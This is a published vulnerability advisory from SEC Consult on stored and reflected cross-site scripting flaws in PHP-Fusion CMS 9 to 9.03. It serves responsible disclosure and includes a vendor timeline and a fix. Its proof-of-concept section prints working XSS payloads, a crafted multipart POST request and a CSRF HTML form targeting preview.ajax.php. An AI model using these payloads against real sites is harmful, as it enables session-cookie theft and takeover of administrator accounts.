Share
SEC Consult Vulnerability Lab Security Advisory < 20200225-0 >  
=======================================================================  
title: Multiple Cross-site Scripting (XSS) Vulnerabilities  
product: PHP-Fusion CMS  
vulnerable version: 9 - 9.03  
fixed version: 9.03.30  
CVE number: -  
impact: Medium  
homepage: https://www.php-fusion.co.uk  
found: 2019-12-09  
by: M. Ali (Office Malaysia)  
N. Ramadhan (Office Malaysia)  
W. Ikram (Office Malaysia)  
R. Jaafar (Office Malaysia)  
S. Maskan (Office Malaysia)  
SEC Consult Vulnerability Lab  
  
An integrated part of SEC Consult  
Europe | Asia | North America  
  
https://www.sec-consult.com  
  
=======================================================================  
  
Vendor description:  
-------------------  
"PHP-Fusion is a lightweight open source content management system (CMS) written  
in PHP."  
  
Source: https://github.com/php-fusion  
  
  
Business recommendation:  
------------------------  
Update to the latest version of PHP-Fusion. An in-depth security  
analysis performed by security professionals is highly advised, as the  
software may be affected from further security issues.  
  
  
Vulnerability overview/description:  
-----------------------------------  
1. Stored XSS vulnerability  
This vulnerability within PHP-Fusion allows an attacker (user with edit post  
capability) to inject malicious client side scripting code which will be  
executed in the browser of a user with "Error Log" access privilege (usually  
administrator or super administrator).  
  
  
2. Reflected XSS vulnerability  
This vulnerability within PHP-Fusion allows an attacker to inject malicious  
client side scripting code which will be executed in the browser of users.  
  
  
Proof of concept:  
-----------------  
1. Stored XSS vulnerability  
a) Edit Blog Post Function  
This vulnerability can be exploited by an attacker with "edit post" capability.  
By editing a blog post, malicious script code can be injected through the  
affected parameters (defined below). When saving the changes made, the  
application will store the XSS payload in the database as an error (table  
<dbtableprefix>_errors). Then, the application will load all the errors to  
notify the administrator in the "Error Log" notification module. The XSS payload  
will get executed on any page since it was the application behavior loading all  
the errors on any page as long as the affected user's session is active.  
  
  
Below is the example on how the XSS issue can be exploited.  
  
URL : http://$DOMAIN/<PHP-Fusion Directory>/fusion/infusions/blog/blog_admin.php?aid=<aid>&action=edit&section=blog_form&blog_id=<id#>  
METHOD : POST  
PAYLOAD: '><script>alert(document.cookie)</script>  
PARAMETER: blog_image, blog_image_t1, blog_image_t2  
  
Content-Type: multipart/form-data; boundary=---------------------------247592002319215  
Content-Length: 3051  
Origin: http://$DOMAIN  
Connection: close  
Referer: http://$DOMAIN/fusion/infusions/blog/blog_admin.php?aid=<aid>&action=edit&section=blog_form&blog_id=2  
Cookie: [snip]  
  
[snip]  
-----------------------------247592002319215  
Content-Disposition: form-data; name="blog_image"  
pp.jpg'><script>alert(document.cookie)</script>  
[snip]  
  
  
2. Reflected XSS vulnerability  
a) Preview Function  
This vulnerability can be exploited by an unauthenticated attacker.  
The XSS payload is injected in the preview.ajax.php script through the parameter "text".  
Below is the example on how the XSS issue can be exploited through CSRF.  
  
URL : http://$DOMAIN/<PHP-Fusion Directory>/includes/dynamics/assets/preview/preview.ajax.php  
METHOD : POST  
PAYLOAD: <script>alert(document.cookie)</script>  
  
Create a HTML file with content as below and open it with browser.  
  
<html>  
<body>  
<form action="$DOMAIN/<PHP-Fusion Directory>/includes/dynamics/assets/preview/preview.ajax.php" method="POST">  
<input type="hidden" name="text" value="xyz<script>alert(document.cookie)</script>zzz" />  
<input type="hidden" name="editor" value="html" />  
<input type="hidden" name="url" value="/infusion/xxyyzz.php" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
  
  
Vulnerable / tested versions:  
-----------------------------  
PHP-Fusion version 9.03.00 has been tested, which was the latest version  
available at the time of the test.  
  
  
Vendor contact timeline:  
------------------------  
2019-12-10: Contacting vendor by email  
technical@php-fusion.co.uk, sales@php-fusion.co.uk  
billing@php-fusion.co.uk, management@php-fusion.co.uk  
2019-12-11: Vendor lead developer contact SEC Consult via Whatsapp and ask to  
send the detail unencrypted to his email chan@php-fusion.co.uk  
Email sent to the lead developer on the same day.  
2020-01-23: Vendor fixed the reported issues, but it can be bypassed. SEC Consult  
informed the Lead Developer via Whatsapp. The lead developer  
requests extension (3 weeks). Latest possible release date  
changed to 24th Feb 2020.  
2020-02-01: Vendor fixed issue no. 2 (Reflected XSS). Issue no. 1 (Stored  
XSS) remains unfixed.  
2020-02-04: Vendor informed fixed version available on github page.  
2020-02-11: Vendor requested two weeks to inform their users to update their  
websites. Latest possible release date changed to 25th Feb 2020.  
2020-02-11: Requesting CVE ID, only automatic reply with request ID  
2020-02-21: Asking for CVE ID again, no reply  
2020-02-25: Public release of security advisory  
  
  
Solution:  
---------  
The fixed version 9.03.30 is available at the vendor's download section:  
* https://www.php-fusion.co.uk/php_fusion_9_downloads.php  
  
  
Workaround:  
-----------  
None  
  
  
Advisory URL:  
-------------  
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm  
  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
SEC Consult Vulnerability Lab  
  
SEC Consult  
Europe | Asia | North America  
  
About SEC Consult Vulnerability Lab  
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It  
ensures the continued knowledge gain of SEC Consult in the field of network  
and application security to stay ahead of the attacker. The SEC Consult  
Vulnerability Lab supports high-quality penetration testing and the evaluation  
of new offensive and defensive technologies for our customers. Hence our  
customers obtain the most current information about vulnerabilities and valid  
recommendation about the risk profile of new technologies.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
Interested to work with the experts of SEC Consult?  
Send us your application https://www.sec-consult.com/en/career/index.html  
  
Interested in improving your cyber security with the experts of SEC Consult?  
Contact our local offices https://www.sec-consult.com/en/contact/index.html  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Mail: research at sec-consult dot com  
Web: https://www.sec-consult.com  
Blog: http://blog.sec-consult.com  
Twitter: https://twitter.com/sec_consult  
  
EOF M. Ali, W. Ikram, S. Maskan, N. Ramadhan, R. Jaafar / @2020